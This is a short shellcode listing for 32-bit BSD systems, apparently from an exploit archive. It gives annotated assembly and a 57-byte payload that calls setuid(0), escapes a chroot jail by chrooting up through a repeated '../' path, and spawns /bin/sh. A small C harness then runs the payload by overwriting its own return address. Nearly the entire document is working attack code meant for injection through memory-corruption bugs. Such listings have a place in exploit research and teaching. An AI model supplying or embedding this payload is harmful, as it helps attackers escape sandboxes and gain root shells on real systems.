BSD/x86 - setuid(0) + Break chroot (../ 10x Loop) + execute /bin/sh Shellcode (57 bytes)

/* The setuid(0)+chroot()+execve shellcode
	
   it will:
		 setuid(0)
		 put '../' 10 times in chroot()
		 execute /bin/sh
   Size  57 bytes
   OS	 *BSD
  		/rootteam/dev0id	(rootteam.void.ru)
			dev0id@uncompiled.com 


BITS	32

	xor	ecx,ecx
	xor	eax,eax
	push	eax
	mov	al,0x17
	push	eax
	int	0x80
	push	ecx
	mov	cl,0x1e
main_push:
	push byte 0x2e
	loop	main_push
	mov	cl,0x1e
main_loop:
	dec	cl
	inc byte [esp+ecx]
	dec	cl
	loop	main_loop
	push 	esp
	mov	al,0x3d
	push	eax
	int	0x80

	xor	eax,eax
	push	eax
	push long	0x68732f6e
	push long 	0x69622f2f
	mov	ebx,esp
	push	eax
	push	esp
	push	ebx
	mov	al,0x3b
	push	eax
	int	0x80
*/



char shellcode[] =
	"\x31\xc9\x31\xc0\x50\xb0\x17\x50\xcd\x80\x51\xb1\x1e\x6a\x2e"
	"\xe2\xfc\xb1\x1e\xfe\xc9\xfe\x04\x0c\xfe\xc9\xe2\xf7\x54\xb0"
	"\x3d\x50\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
	"\x62\x69\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80";


int
main(void)
{
	int *ret;
	ret = (int*)&ret + 2;
	(*ret) = shellcode;
}